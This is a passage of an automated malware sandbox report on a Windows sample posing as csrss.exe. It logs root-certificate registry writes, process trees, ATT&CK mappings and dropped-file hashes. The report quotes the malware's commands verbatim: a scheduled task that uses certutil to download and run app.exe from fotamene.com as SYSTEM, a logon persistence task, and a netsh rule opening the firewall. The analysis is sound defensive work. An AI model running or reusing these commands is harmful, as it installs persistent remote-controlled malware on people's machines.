b2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

pid	process
1804	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1804	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Token: SeImpersonatePrivilege	1804	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Token: SeSystemEnvironmentPrivilege	1964	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.execmd.exe

description	pid	process	target process
PID 1160 wrote to memory of 1072	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	cmd.exe
PID 1160 wrote to memory of 1072	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	cmd.exe
PID 1160 wrote to memory of 1072	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	cmd.exe
PID 1160 wrote to memory of 1072	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	cmd.exe
PID 1072 wrote to memory of 1892	1072	cmd.exe	netsh.exe
PID 1072 wrote to memory of 1892	1072	cmd.exe	netsh.exe
PID 1072 wrote to memory of 1892	1072	cmd.exe	netsh.exe
PID 1160 wrote to memory of 1964	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	csrss.exe
PID 1160 wrote to memory of 1964	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	csrss.exe
PID 1160 wrote to memory of 1964	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	csrss.exe
PID 1160 wrote to memory of 1964	1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
"C:\Users\Admin\AppData\Local\Temp\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1804

C:\Users\Admin\AppData\Local\Temp\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
"C:\Users\Admin\AppData\Local\Temp\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1160

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1072

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1892

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1680

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1592

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:2012

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220726155326.log C:\Windows\Logs\CBS\CbsPersist_20220726155326.cab
1⤵
- Drops file in Windows directory
PID:1392

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
fb0abe71241fb248abb144ee67f01da6

SHA1
952da25176bb0e606609500ea52edcf39fe7aec2

SHA256
54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6

SHA512
6f18aeb13784c17d81c332da607b57e36b4d1da57a20f1f72e11cbfdaf83baafb1d01ffdab7829c68a41bfaef5cdfb6132c0084d4d56c6aa5e08ac6cb7de63f6

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
fb0abe71241fb248abb144ee67f01da6

SHA1
952da25176bb0e606609500ea52edcf39fe7aec2

SHA256
54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6

SHA512
6f18aeb13784c17d81c332da607b57e36b4d1da57a20f1f72e11cbfdaf83baafb1d01ffdab7829c68a41bfaef5cdfb6132c0084d4d56c6aa5e08ac6cb7de63f6

Download Submit
\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
fb0abe71241fb248abb144ee67f01da6

SHA1
952da25176bb0e606609500ea52edcf39fe7aec2

SHA256
54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6

SHA512
6f18aeb13784c17d81c332da607b57e36b4d1da57a20f1f72e11cbfdaf83baafb1d01ffdab7829c68a41bfaef5cdfb6132c0084d4d56c6aa5e08ac6cb7de63f6

Download Submit
memory/1072-61-0x0000000000000000-mapping.dmp

Download
memory/1160-70-0x0000000038750000-0x000000003D33D000-memory.dmp

Filesize
75.9MB

Download
memory/1160-62-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1160-60-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1160-74-0x0000000038750000-0x000000003D33D000-memory.dmp

Filesize
75.9MB

Download
memory/1160-69-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1160-71-0x0000000038750000-0x000000003D33D000-memory.dmp

Filesize
75.9MB

Download
memory/1804-59-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1804-55-0x0000000005240000-0x00000000055E7000-memory.dmp

Filesize
3.7MB

Download
memory/1804-56-0x00000000055F0000-0x0000000005CE6000-memory.dmp

Filesize
7.0MB

Download
memory/1804-54-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1804-57-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1804-58-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1892-63-0x0000000000000000-mapping.dmp

Download
memory/1892-64-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download
memory/1964-78-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1964-67-0x0000000000000000-mapping.dmp

Download
memory/1964-75-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1964-73-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/1964-72-0x0000000000400000-0x0000000004FED000-memory.dmp

Filesize
75.9MB

Download
memory/2012-79-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2012-85-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download